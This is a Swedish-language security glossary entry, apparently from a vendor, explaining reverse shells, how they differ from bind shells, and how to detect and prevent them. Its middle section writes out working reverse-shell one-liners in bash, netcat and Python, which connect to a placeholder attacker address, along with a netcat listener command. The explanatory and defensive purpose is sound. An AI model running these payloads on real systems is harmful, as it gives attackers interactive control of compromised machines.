Ordlista Reverse Shell

Omvänd Shell

TL;DR: Omvänd Shell

Ett omvänt shell, även känt som ett “connect-back shell”, är när ett komprometterat system ansluter till angriparen och ger dem en live-kommandoradssession.

Varför är detta viktigt?

  • Omvända shell kan kringgå brandväggar eftersom de flesta brandväggar blockerar inkommande anslutningar men tillåter utgående.
  • Angripare får verklig kontroll eftersom de kan köra kommandon precis som om de vore inloggade direkt.
  • Omvända shell är mycket vanliga eftersom de är ett standardsteg efter att en angripare har utnyttjat ett system.

Föreställ dig det så här: istället för att angriparen försöker ta sig in, lurar de servern att nå ut till dem.

Vad är ett Omvänt Shell?

Ett omvänt shell är ett fjärrshell där offrets dator startar anslutningen till angriparens dator.

Normalt startar din dator anslutningen, som när du besöker en webbplats. Med ett omvänt shell är detta omvänt. Efter att angriparen har hittat ett sätt att köra kod, ansluter servern tillbaka till angriparen.

Ett enkelt sätt att komma ihåg det:

  • Bind shell: Du försöker ansluta till servern. Om en brandvägg blockerar dig kan du inte komma igenom.
  • Omvänt shell: Servern ansluter till dig. Eftersom utgående anslutningar vanligtvis är tillåtna kan du svara och ta kontroll.

Varför Omvända Shell är Viktiga

Säkerhetsteam fokuserar vanligtvis på försvar som brandväggar, lastbalanserare och begränsning av portar. Dessa fungerar tills en angripare lyckas köra kod inuti systemet.

När det händer blir det omvända shellet angriparens huvudsakliga sätt att stanna kvar.

Varför är detta farligt:

  • Utgående trafik är betrodd.

    Brandväggar tillåter ofta utgående trafik på portar som 80 eller 443 för uppdateringar och API

    . Omvända skal kan gömma sig i denna tillåtna trafik.

  • Angripare kan behålla åtkomst.

    Även om det ursprungliga säkerhetshålet är fixat, kan ett aktivt skal fortfarande låta angripare kontrollera systemet.

  • Det möjliggör lateral rörelse.

    Med ett skal kan angripare utforska det interna nätverket, stjäla lösenord och flytta till andra datorer. En sårbarhet kan snabbt leda till att hela miljön komprometteras.

Hur ett omvänt skal fungerar

Ett omvänt skal har två huvuddelar: lyssnaren och nyttolasten.

1. Lyssnaren (Angriparsidan)

Angriparen använder ett program som väntar på anslutningar. Netcat är ett vanligt verktyg för detta.

nc -lvnp 4444

Detta kommando säger till angriparens dator att lyssna på port 4444 och vänta på en anslutning.

2. Nyttolasten (Offrets sida)

Efter att ha hittat en sårbarhet som fjärrkodexekvering, kör angriparen ett kommando på offrets server för att öppna ett skal och skicka det tillbaka.

bash -i >& /dev/tcp/angripar-ip/4444 0>&1

Detta kommando startar ett bash-skal och skickar all inmatning och utmatning till angriparens dator.

3. Anslutningen

Offrets server startar en utgående anslutning. Brandväggen ser detta som normalt och tillåter det. Angriparens lyssnare accepterar anslutningen, vilket ger angriparen ett aktivt skal på servern.

I detta skede har angriparen full interaktiv kontroll över servern.

Vanliga exempel på omvända skal

Angripare och etiska hackare justerar sin metod baserat på vilka verktyg som är tillgängliga på målsystemet.

Bash (Vanligt på Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Används när Netcat är tillgängligt på måldatorn.

nc -e /bin/sh 10.0.0.1 4444

Python

Python är mycket vanligt på moderna servrar.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Omvänd Shell vs Bind Shell

Att känna till skillnaden mellan omvända shells och bind shells hjälper till att försvara nätverk.

FunktionBind ShellOmvänd Shell
AnslutningsriktningAngripare till OfferOffer till Angripare
BrandväggspåverkanOfta blockeradOfta tillåten
NätverkskravDirekt åtkomst behövsFungerar genom NAT och brandväggar
Typisk användningInterna nätverkVerkliga attacker

Vem Använder Omvända Shells?

  • Penetrationstestare använder omvända shells för att bevisa att en sårbarhet kan leda till full systemkompromettering.
  • Red teams använder omvända shells för att testa hur väl utgående trafik kontrolleras.
  • Skadliga aktörer använder omvända shells för att distribuera ransomware, stjäla data eller röra sig längre in i ett nätverk.
  • Systemadministratörer använder sällan omvända shells för fjärråtkomst. De föredrar vanligtvis säkra SSH-tunnlar.

Detektion och Förhindrande

Att stoppa omvända shells kräver flera lager av försvar.

  • Utgående trafikfiltrering

    Servrar bör inte ha öppen tillgång till internet. Begränsa vilka destinationer och portar de kan använda.

  • Beteendeövervakning

    En webbserver som startar en skalprocess, såsom /bin/bash eller cmd.exe, är mycket misstänkt.

  • Minska attackytan.

    Ta bort oanvända verktyg som Netcat, kompilatorer och extra tolkar från produktionssystem.

Relaterade termer

  • Remote Code Execution (RCE)
  • Bind Shell

FAQ: Omvänd skal

Är ett omvänt skal olagligt?

Omvända skal är lagliga endast om du använder dem på system du äger eller har tydligt tillstånd att testa. Att använda dem utan tillstånd är olagligt.

Varför tillåter brandväggar omvända skal?

Brandväggar är byggda för att blockera inkommande hot och litar vanligtvis på utgående trafik. Omvända skal utnyttjar detta.

Kan ett antivirus upptäcka omvända skal?

Ibland. Antivirusprogram som använder signaturer kan hitta kända skalprogram, men filfria skal gjorda med Bash eller Python är mycket svårare att upptäcka.

Vad är skillnaden mellan ett omvänt skal och ett webskal?

Ett webskal används via en webbläsare och stannar vanligtvis på systemet, men har begränsade funktioner. Ett omvänt skal ger en live, interaktiv kommandoradssession.

Nästa steg

Redo att säkra dina applikationer? Välj din väg framåt.

Gå med i 500+ företag som redan säkrar sina applikationer med Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready